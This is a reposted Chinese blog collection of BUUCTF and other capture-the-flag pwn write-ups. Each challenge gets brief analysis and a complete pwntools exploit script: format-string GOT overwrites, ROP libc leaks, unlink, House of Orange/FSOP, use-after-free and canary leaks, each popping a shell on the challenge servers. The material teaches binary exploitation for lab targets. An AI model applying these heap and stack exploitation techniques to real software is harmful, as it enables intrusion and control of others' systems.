ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

BUUCTF 2021-10-4 Pwn

2021-10-04 17:04:43  阅读:325  来源: 互联网

标签:10 BUUCTF p64 libc sendline Pwn recvuntil payload addr


文章目录

保持手感

echo

分析

[*] '/root/echo'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

经典的echo字符串格式化漏洞题:
Pasted image 20211004155928.png

偏移:7
改GOT

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="i386"

isLocal=0

filename="/root/echo"
if  isLocal:
    p=process(filename)#

    pause()
else :
    p=remote("node4.buuoj.cn",26031)

elf=ELF(filename)
libc=ELF("./x86/libc-2.23_buuctf.so")


printf_got=elf.got["printf"]
system_addr=elf.plt["system"]
payload=fmtstr_payload(7,{printf_got:system_addr})
p.sendline(payload)

p.interactive()


Pwnme1

分析

关键栈溢出漏洞点(getfruit函数):
Pasted image 20211004160010.png

解法同pwnme2,栈溢出泄露libc方法

注意的点:

  • 如果遇到泄露的got会崩溃问题,不妨换一个函数名,多试试

EXP

整体思路:

  1. 栈溢出ROP泄露libc
  2. 栈溢出ROP返回到任意地址getshell
from pwn import *;
context.log_level="debug"
context.arch="i386"
context.os="linux"

isLocal=0
libc=ELF("./x86/libc-2.23_buuctf.so")#ELF("/lib/i386-linux-gnu/libc-2.23.so")#

if  isLocal:
    p=process("/root/pwnme1")#

    pause()
else :
    p=remote("node4.buuoj.cn",27876)


elf=ELF("/root/pwnme1")
backdoor=0x804869D#0x8048677#
p.sendlineafter("Exit","5")

jmpasm=asm("jmp esp;")
shellcode=asm(shellcraft.sh())
flag_addr=0x08048938
modes_addr=0x08048931
pop_eax=0x08048184
xchg_eax_edx=0x08048189

main_addr=0x08048624#elf.sym["_start"]



printf_plt=elf.plt["puts"]
printf_got=elf.got["puts"]
payload  =b"a"*(0xA4+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)

p.sendlineafter("input",payload)#一个个来不急 慢慢走 一步步来 gets遇到\n才会返回

p.recvuntil("...\n")
leak=u32(p.recv(4))

log.success(hex(leak))

libc_base=leak-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]

sh_addr=0x804831D
payload  =b"a"*(0xA4+4)+p32(system_addr)+p32(main_addr)+p32(sh_addr)
#注意修复ROP的返回地址,无论是x86还是x64,执行system参数可直接传字符串地址

p.sendlineafter("input",payload)





p.interactive()

wdb_2018_1st_babyheap

分析

保护情况:无PIE,got不可写

[*] '/root/wdb_2018_1st_babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

关键漏洞点(UAF):
Pasted image 20211004164748.png

根据大佬WP提示,可以使用

  1. unlink
  2. __IO_File结构体的劫持

分析发现:

  1. free中存在uaf漏洞,同时有dump功能
  2. unlink后泄露libc地址

unlink_fakechunk的条件

  1. fake chunk header
  2. fake fd bk
  3. fake next header(覆写到需要释放的堆块块头)

笔记
libc-xx.so文件才有symbols

EXP

Unlink解法:
主要的知识点:

本题不是使用通常的堆溢出Unlink,而是用UAF后double free list的方法,修改fastbin地址,创建一个合法的fake chunk导致Unlink

整体思路:

  1. 构造unlink fake header
  2. 泄露heap地址
  3. DoubleFreeList任意创建堆地址到指定位置为实现unlink准备
  4. 构造fakechunk实现unlink
  5. 泄露unsorted bin地址,计算libc基地址
  6. unlink后实现的任意地址写
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/wdb_2018_1st_babyheap"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",26666)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(idx,content):
    ru("Choice:")
    sl('1')
    ru("Index:")
    sl(str(idx))
    ru("Content:")
    sd(content)


def edit(idx,content):
    ru("Choice:")
    sl('2')
    ru("Index:")
    sl(str(idx))
    ru("Content:")
    sd(content)
def dump(index):
    ru("Choice:")
    sl('3')
    ru("Index:")
    sl(str(index))
def free(index):
    ru("Choice:")
    sl('4')
    ru("Index:")
    sl(str(index))

ptr=0x0000000000602060
fd=ptr-0x18
bk=ptr-0x10
#1.构造unlink fake header
malloc(0,p64(0x31)*4)#fixheader
malloc(1,p64(0x31)*4)
malloc(2,p64(0x31)*4)
malloc(3,p64(0x31)*4)
malloc(4,b"/bin/sh\x00\n")

free(1)
free(0)

#2.泄露chunk1地址
dump(0)#leak chunk1 addr

leak_heap_addr=u64(p.recv(4).ljust(8,b"\x00"))#0xnnnn30
log.info("leak heap addr=>{}".format(hex(leak_heap_addr)))

#3.DoubleFreeList任意创建堆地址到指定位置为实现unlink准备
free(1)#double free list 实际是一个任意地址写的作用(a<=>a),修改了a,就修改了申请堆地址.(实现堆溢出堆叠写)


#4.构造fakechunk实现unlink
malloc(5,p64(leak_heap_addr-0x20)+b"\n")#0xnnnn10(DoubleFree后修改了fastbin链表的一个地址)
malloc(6,b"a\n")
malloc(7,b"a\n")#cycle
payload = p64(fd)+p64(bk)+p64(0x20)+p64(0x90)#overlap chunk1 header
malloc(8,payload)
edit(0,p64(0)+p8(0x21)+b"\n")# fix chunk0 fake header

free(1)#unlink

#5.泄露unsorted bin地址,计算libc基地址
dump(8)#leak
leak=u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))


libc_base=leak-0x3c4b78

__free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]

#6.unlink后实现的任意地址写
payload=b"a"*0x18+p64(__free_hook)
edit(0,payload)

payload=p64(system_addr)+b"\n"
edit(0,payload)


free(4)

#WP:https://blog.csdn.net/weixin_46521144/article/details/120152352
#



p.interactive()


FSOP

FSOP解该题,动态调试复现:

原理是使程序溢出,进入_IO_Overflow,报错依旧正常运行
Pasted image 20211001094027.png
Pasted image 20211001094618.png
0x7ff2e8627510

FSOP做法:

#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/wdb_2018_1st_babyheap"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",26666)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def add(index,content):
    p.recvuntil('Choice:')
    p.sendline(str(1))
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    if(len(content) == 0x20):
        p.send(content)
    else:
        p.sendline(content)


def edit(index,content):
    p.recvuntil('Choice:')
    p.sendline(str(2))
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    if(len(content) == 0x20):
        p.send(content)
    else:
        p.sendline(content)


def show(index):
    p.recvuntil('Choice:')
    p.sendline(str(3))
    p.recvuntil('Index')
    p.sendline(str(index))

def delete(index):
    p.recvuntil('Choice:')
    p.sendline(str(4))
    p.recvuntil('Index')
    p.sendline(str(index))


add(0,p64(0x31)*4)
add(1,p64(0x0)*2+p64(1)+p64(2))
add(2,p64(0x31)*4)
add(3,p64(0x31)*4)
add(4,p64(0)*4)

# leak heap_base
delete(1)
delete(0)
show(0)
heap_info = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heap_info = (heap_info-0x0a)>>8
heap_base = heap_info-0x30
print("heap_base----->" + hex(heap_base))

edit(0,p64(heap_base+0x20))
add(5,p64(0))
add(6,p64(0)+p64(0x91))
add(7,p64(0)+p64(heap_base+0x10))
# debug()
delete(1)
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = libc_base-0x3c4b78
print("libc_base----->" + hex(libc_base))
edit(5,p64(0)*3+p64(libc_base+libc.sym['system']))

# fsop
edit(6,b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+libc.sym['_IO_list_all']-0x10))# set size to smallbin[4], unsortedbin attack



#gdb.attach(p,"b *0x4009A0")
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(8))



p.interactive()


houseoforange_hitcon_2016

分析

保护情况:全开

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

漏洞点:
读入长度的size位是无符号整数,可整数溢出
Pasted image 20210929113047.png

分析:

  1. 需要泄露libc
  2. 修改hook地址?没有free功能
  3. 该题是2堆模式
    1. 小堆存放2堆地址
    2. 堆内容
  4. 存在堆溢出漏洞,通过溢出覆盖泄露libc?

参考EXP:https://blog.csdn.net/weixin_44145820/article/details/105270036

前置知识

House_of_orange

根据题分析,本题是没有释放功能的,但是如果没有空闲的chunk我们难以获取libc地址,下面就介绍一种不需要释放就能得到unsored bin的办法
当我们申请一块内存时,malloc函数会检查各种bin,都不满足条件之后会检查top chunk是否满足,(由于本题的堆溢出使得我们可以修改topchunk的size),如果topchunk也不行,就需要调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap
所以我们分配的内存需要小于这个
然后来到下一个判断

assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

这里需要满足几个条件:

topchunk size > MINSIZE(0x10)
top chunk inuse位为1
修改之后的 size 必须要对齐到内存页
满足之后,top chunk就被free,从而进入unsorted bin

原文链接:https://blog.csdn.net/weixin_44145820/article/details/105270036

FSOP

在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,
如下图,它指向_IO_2_1_stderr_:
Pasted image 20210930093817.png
而_IO_FILE_plus结构体详细内容如下
Pasted image 20210930093827.png
其中_chain指向下一个_IO_FILE_plus结构体

在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到

_IO_flush_all_lockp:

while (fp != NULL)
{
…
    fp = fp->_chain;
    ...
          if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
       )
      && _IO_OVERFLOW (fp, EOF) == EOF)

如果满足以下条件:

fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了

劫持_IO_OVERFLOW

EXP

from pwn import *
from LibcSearcher import *

r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")

context.log_level = 'debug'
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''
	b *$rebase(0x13CB)
	c
	x/10gx $rebase(0x203068)
	''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')

def add(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('1')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name :")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))


def show():
	r.recvuntil("Your choice : ")
	r.sendline('2')

def edit(size, content, price, color):
	r.recvuntil("Your choice : ")
	r.sendline('3')
	r.recvuntil("Length of name :")
	r.sendline(str(size))
	r.recvuntil("Name:")
	r.send(content)
	r.recvuntil("Price of Orange:")
	r.sendline(str(price))
	r.recvuntil("Color of Orange:")	#1-7
	r.sendline(str(color))



add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)

add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']

payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))

#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')

r.interactive()

zctf_2016_note3

分析

保护情况:

[*] '/root/zctf_2016_note3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

==>无PIE,GOT可写

动态调试笔记

在动态调试中,发现长度存放在堆数组的后面
第一个堆是当前操作的堆

本题思路与note2差不多,关键的漏洞点在edit_note的输入处
for循环的i是无符号类型,len-1可被制造为-1,会造成整数溢出
Pasted image 20210929112139.png

整体利用思路

  1. 利用堆溢出漏洞制造unlink
  2. 泄露got表得到libc基地址、修改got表拿shell

EXP

整体思路:

  1. overflows(unsigned) to unlink(zero length)
  2. leak_libc
  3. free==>system
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/zctf_2016_note3"
if  isLocal:
    libc=ELF("/lib/x86_64-linux-gnu/ld-2.23.so")
    p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}

else :
    p=remote("node4.buuoj.cn",29864)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
    gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))
    pause()


def malloc(size,content):
    ru("option--->>")
    sl('1')
    ru("Input the length of the note content:(less than 1024)")
    sl(str(size))
    ru("Input the note content:")
    sd(content)


def edit(index,content):
    ru("option--->>")
    sl('3')
    ru("Input the id of the note:")
    sl(str(index))
    ru("Input the new content:")
    sd(content)

def free(index):
    ru("option--->>")
    sl('4')
    ru("Input the id of the note:")
    sl(str(index))
ptr=0x0000000006020C8
fd=ptr-0x18
bk=ptr-0x10

fake_chunk=p64(0)+p64(0xa1)#把自己当成top chunk(pre size=0)
fake_chunk+=p64(fd)+p64(bk)
malloc(0x80,fake_chunk+b"\n")
malloc(0,b"\n")
malloc(0x80,b"ccc\n")
malloc(0x8,b"ddd\n")
malloc(0x80,b"/bin/sh\x00\n")
malloc(0x80,b"/bin/sh\x00\n")

#1.overflows(unsigned) to unlink
free(1)#len-1=-1(unsigned i)




fake_chunk=b"A"*0x10+p64(0xa0)+p64(0x90)+b"\n"
malloc(0,fake_chunk)

free(2)


#2.leak_libc
free_got=elf.got["free"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
payload=b"a"*0x30+p64(free_got)+p64(puts_got)+b"\n"#chunk4=puts@got
edit(0,payload)


payload=p64(puts_plt)+b"\n"
edit(3,payload)


free(4)


leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_base=leak-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]


#3.free==>system
payload=p64(system_addr)+b"\n"
edit(3,payload)
free(5)

p.interactive()


gyctf_2020_document

分析

[*] '/root/gyctf_2020_document'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

UAF漏洞点:
Pasted image 20211004162620.png

堆题,整体特征

  1. 释放存在UAF漏洞
  2. 开PIE,GOT不可写,使用泄露Libc、覆写hook指针方法

EXP

整体思路:

  1. 泄露unsorted bin地址
  2. 制造堆叠
  3. 任意地址写(chunk3)

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/gyctf_2020_document"
if  isLocal:
    p=process(filename)#
    libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
 
else :
    p=remote("node4.buuoj.cn",25196)
    libc=ELF("./x64/libc-2.23_buuctf.so")

elf=ELF(filename)
#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(name, sex,info):
    p.recvuntil('choice : ')
    p.sendline('1')
    p.recvuntil('input name')
    p.send(name)
    p.recvuntil("input sex")
    p.send(sex)
    p.recvuntil("input information")
    p.send(info)

def dump(idx):
    p.recvuntil('choice : ')
    p.sendline('2')
    p.recvuntil("index : ")
    p.sendline(str(idx))

def edit(idx,YorN,info):
    p.recvuntil('choice : ')
    p.sendline('3')
    p.recvuntil("index : ")
    p.sendline(str(idx))
    p.recvuntil("Are you sure change sex?")
    p.send(YorN)
    p.recvuntil("Now change information")
    p.send(info)

def delete(idx):
    p.recvuntil('choice : ')
    p.sendline('4')
    p.recvuntil("index : ")
    p.sendline(str(idx))


#1.泄露unsorted bin地址
create("aaaaaaaa",'W','i'*112)#0
create("bbbbbbbb",'M','c'*112)#1



delete(0)
dump(0)

leak=u64((p.recvuntil("\x7f")[-6:]).ljust(8,b"\x00"))
log.warning("leak unsorted bin addr=>{}".format(hex(leak)))

libc_base=leak-0x3C4B78

libc.address=libc_base
__free_hook=libc.sym["__free_hook"]-0x10
_system_addr=libc.sym["system"]

create("/bin/sh\x00",'M','d'*112)#2
delete(1)
#2.制造堆叠
create("aaaacccc",'M','g'*112)#3 取了chunk0、1(合并)中的0x20
#all: 0x5643732320d0 —▸ 0x564373232020 —▸ 0x7f1e11dbcb78 (main_arena+88) ◂— 0x5643732320d0



#3.任意地址写(chunk3)
payload=p64(0)+p64(0x21)+p64(__free_hook)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8#堆叠导致任意地址写(chunk3的内容地址)
edit(0,'Y',payload)


payload=p64(_system_addr)+p64(0)*13
edit(3,'Y',payload)

delete(2)

p.interactive()


动态调试复现

2021.10.4新增笔记:
关键点:free了chunk0和1的内容堆,chunk3创建使用了chunk0、1合并后的内容堆,导致修改chunk0内容可任意改写到chunk3的地址堆

攻击核心(任意写):程序将堆地址存放在了一个小堆(0x8)大小内,覆写它即可。
Pasted image 20210929092947.png

当进行操作:

  1. 创建2个chunk(0、1)
  2. 删除chunk0
  3. 创建1个chunk(2)
  4. 删除chunk1
  5. 创建1个chunk(3)

此时,0x50的偏移刚好存放chunk3的字符串地址(0xe0)
一旦修改chunk0,我们就可以达到任意地址写。
Pasted image 20210929092846.png

为什么?

chunk0内存指向: 0x55f3035aa060 —▸ 0x55f3043c6010 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170

由于程序存在UAF漏洞,同时有且仅仅释放了小堆内的字符串地址(只释放0x90、留下0x20)
在下一次申请时,程序会刚好从0x90(字符串堆)取 0x20 大小当做(0x8)堆地址存放小堆
所以肯定是会造成堆叠的。

Pasted image 20210929093528.png

堆数组

00:0000│  0x55f3035aa060 —▸ 0x55f3043c6010 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│  0x55f3035aa068 —▸ 0x55f3043c60c0 —▸ 0x55f3043c60e0 ◂— 0x68732f2f6e69622f ('/bin//sh')
02:0010│  0x55f3035aa070 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170 ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│  0x55f3035aa078 —▸ 0x55f3043c6050 —▸ 0x55f3043c60e0 ◂— 0x68732f2f6e69622f ('/bin//sh')

堆内存

+0030 0x55f3043c6030  70 61 3c 04  f3 55 00 00  01 00 00 00  00 00 00 00  │pa<.│.U..│....│....│
+0040 0x55f3043c6040  69 69 69 69  69 69 69 69  21 00 00 00  00 00 00 00  │iiii│iiii│!...│....│
+0050 0x55f3043c6050  e0 60 3c 04  f3 55 00 00  01 00 00 00  00 00 00 00  │.`<.│.U..│....│....│

e0 60 3c 04 f3 55 00 00为chunk3字符串地址,0x55f3043c6050为小堆地址
分析整体情况:

  1. 0、1我们已经释放,2、3是可改的
  2. 刚好chunk3的字符串地址存放在刚刚释放的堆(0x50),我们edit(0)就从0x40开始,刚好可以覆写存放字符串地址的小堆

总结:

  1. 关键是分析整体程序结构
    1. 0x20大小存放了字符串地址
    2. 0x90大小存放了自定义内容

这样的结构,只要改写了0x20里内容,就相当于实现任意地址写
因为(0x20–>0x90)

护网杯_gettingstart

分析

题目不难,主要考察对小数在内存中储存的理解

动态调试后,答案已经在内存中显示了
[[UCOMISD]]汇编指令:—无序比较标量双精度浮点值并设置EFLAGS

Pasted image 20210928104055.png
Pasted image 20210928103811.png

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=0

filename="/root/2018_gettingStart"
if  isLocal:
    p=process(filename)#

    #pause()
else :
    p=remote("node4.buuoj.cn",25562)

elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")


payload=b"a"*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)

p.interactive()

picoctf_2018_buffer overflow 0

分析

ssh题,传参学习

p.process(['./vuln',payload])传入payload作为参数

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="i386"

isLocal=0

filename="./PicoCTF_2018_buffer_overflow_0"
if  isLocal:
    p=process(filename)#

    
else :
    p=ssh(user="CTFMan",host="node4.buuoj.cn",port=29059,password="guest")




#/home/CTFMan
flag_addr=0x0804A080
print_plt=0x080486BC

payload=b"a"*(0x18+4)+p32(print_plt)+p32(flag_addr)
sh = p.process(['./vuln',payload])
sh.interactive()

p.interactive()

XCTF-Mary_Morton

分析

热身
非常基础的栈溢出、字符串格式化漏洞的题目:
Pasted image 20211004163114.png
字符串格式化漏洞:
Pasted image 20211004163135.png
栈溢出漏洞:
Pasted image 20211004163156.png
后门函数:
Pasted image 20211004163225.png

同时程序有canary保护,基本的解题思路:

  1. 通过格式化字符串泄露canary
  2. 构造栈溢出payload到后门

调试笔记
canary:%23$p
canary的填充位置可以直接在IDA的变量表看到Pasted image 20210928094356.png

EXP

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"

isLocal=1

filename="/root/Mary_Morton"
if  isLocal:
    p=process(filename)#

    #pause()
else :
    p=remote("node4.buuoj.cn",28829)

elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")


def Format_string_bug(payload):
    p.recvuntil("battle")
    p.sendline("2")
    p.sendline(payload)

def StackOverFlow(payload):
    p.recvuntil("battle")
    p.sendline("1")
    p.sendline(payload)

backdoor=0x00000000004008DA

Format_string_bug("%23$p")
p.recvuntil("0x")
leak=int(p.recv(16),16)

payload=b"a"*(0x88)
payload+=p64(leak)#[rbp-8h] canary
payload+=p64(0)#rbp
payload+=p64(backdoor)

StackOverFlow(payload)
p.interactive()

EXP

gift

分析

MSSCTF_2020 降维攻击
C++写的类似堆的菜单题

保护情况:

[*] '/root/gift'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

简单的进行静态分析一下,可以发现,程序是一道堆题,并且有UAF的漏洞、后门

程序创建堆块后,会将输出函数地址的类放到堆上
Pasted image 20211004163501.png
(一旦我们将这个地址改成对应后门函数的偏移,再调用输出函数即可getshell)
Pasted image 20211004163511.png
UAF漏洞出(释放后未清零)
Pasted image 20211004163551.png

  1. 无PIE
  2. 可写GOT
  3. 有后门函数
  4. 输出函数在堆上

经典的[[UAF]]

动态调试发现的特征:

  1. 堆块创建的大小存放固定为一个,且大小为0x30(48)
  2. 释放后未清零ptr
  3. 调用的函数为堆内地址+8

整体思路:

  1. 正常创建
  2. 释放、重新创建同大小堆实现UAF覆写函数地址

注意的点:

  • 要将UAF利用起来,需要创建回原来大小的堆块

EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/fishing_master"
p=remote("pwn.archive.xdsec.chall.frankli.site",10029)
libc=ELF("./x64/libc-2.23_mssctf.so")
#p=process(name)#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#

elf=ELF(name)

def create(name,age):
    p.recvuntil("5. exit.")
    p.sendline("1")
    p.sendlineafter("name",name)
    p.sendlineafter("age",str(age))

def show():
    p.recvuntil("5. exit.")
    p.sendline("2")
def delete():
    p.recvuntil("5. exit.")
    p.sendline("3")
def leavemsg(len,msg):
    p.recvuntil("5. exit.")
    p.sendline("4")
    p.sendlineafter("long",str(len))
    p.sendlineafter("content",msg)

goal=0x401E58-8
create("ch1lc4t",19)#0x30

delete()

leavemsg(0x30,p64(goal))

show()

p.interactive()

fishing_master

分析

搞完两个月pwn回来看mssctf的pwn简直是降维攻击…

保护情况:全开

静态分析一下,关键漏洞点:
有任意地址写的漏洞(代码逻辑有问题,未加地址符、加地址符结合起来可实现任意地址写)
Pasted image 20211004163822.png
同时有一个8字节的格式化字符串漏洞:
Pasted image 20211004163923.png

利用思路假设:

  1. 泄露libc(字符串格式化)
  2. read任意地址写逻辑漏洞
    1. 不可写GOT?=>可直接劫持libc内的hook函数

整体思路:

  1. 利用printf泄露libc
  2. 任意写hook地址

笔记:

  1. 在无法修改ELF的GOT情况下(Full Relro),可以修改libc内的hook地址
  2. 题目的hookfree函数提示了要对free做手脚

EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/fishing_master"
p=remote("pwn.archive.xdsec.chall.frankli.site",10094)
libc=ELF("./x64/libc-2.23_mssctf.so")
#p=process(name)#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#

elf=ELF(name)


p.recvuntil("tell me your name, and maybe i will teach you how to fish if i like it.")
p.sendline("sh\x00")

p.recvuntil("friendship")
p.sendline("%13$p")

p.recvuntil("0x")
leak=int(p.recv(12),16)#start -240
libc_base=leak-libc.sym["__libc_start_main"]-240

free_got=libc_base+libc.sym["__free_hook"]#
system_addr=libc_base+libc.sym["system"]
pause()
p.recvuntil("What do you think of this new fish hook?")
p.send(p64(free_got))

p.recvuntil("i do know you will like it, i hope it can make you a master of fishing.")
p.send(p64(system_addr))



p.interactive()

标签:10,BUUCTF,p64,libc,sendline,Pwn,recvuntil,payload,addr
来源: https://blog.csdn.net/m0_56897090/article/details/120605563

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有